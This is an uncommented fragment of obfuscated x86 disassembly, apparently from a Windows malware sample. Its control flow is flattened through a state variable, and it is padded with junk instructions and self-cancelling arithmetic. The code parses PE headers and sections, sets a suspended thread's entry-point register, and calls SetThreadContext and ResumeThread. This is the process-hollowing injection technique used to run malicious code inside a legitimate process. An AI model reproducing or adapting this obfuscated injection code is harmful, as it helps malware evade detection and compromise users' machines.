mov dword [ebp - 0x110], 0xb51fd79f
jmp 0x10011866
mov dword [ebp - 0x110], 0x733e6bed
jmp 0x10011866
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
add ecx, 0x174eaaa2
add ecx, eax
sub ecx, 0x174eaaa2
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0
mov dword [ebp - 0x110], 0x6807927e
jmp 0x10011866
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub eax, 0x6b70e020
sub eax, ecx
add eax, 0x6b70e020
mov ecx, dword [ebp - 0x60]
add ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xaf0371b2
jmp 0x10011866
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x110], 0xf1d26286
jmp 0x10011866
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sub ecx, 0xc9fdd509
add ecx, eax
add ecx, 0xc9fdd509
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x110], 0xfccfe9ce
jmp 0x10011866
mov dword [ebp - 0x110], 0x4c2aadb3
jmp 0x10011866
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x110], 0x5780a47d
jmp 0x10011866
mov dword [ebp - 0x110], 0xd4e29ee4
jmp 0x1000edb7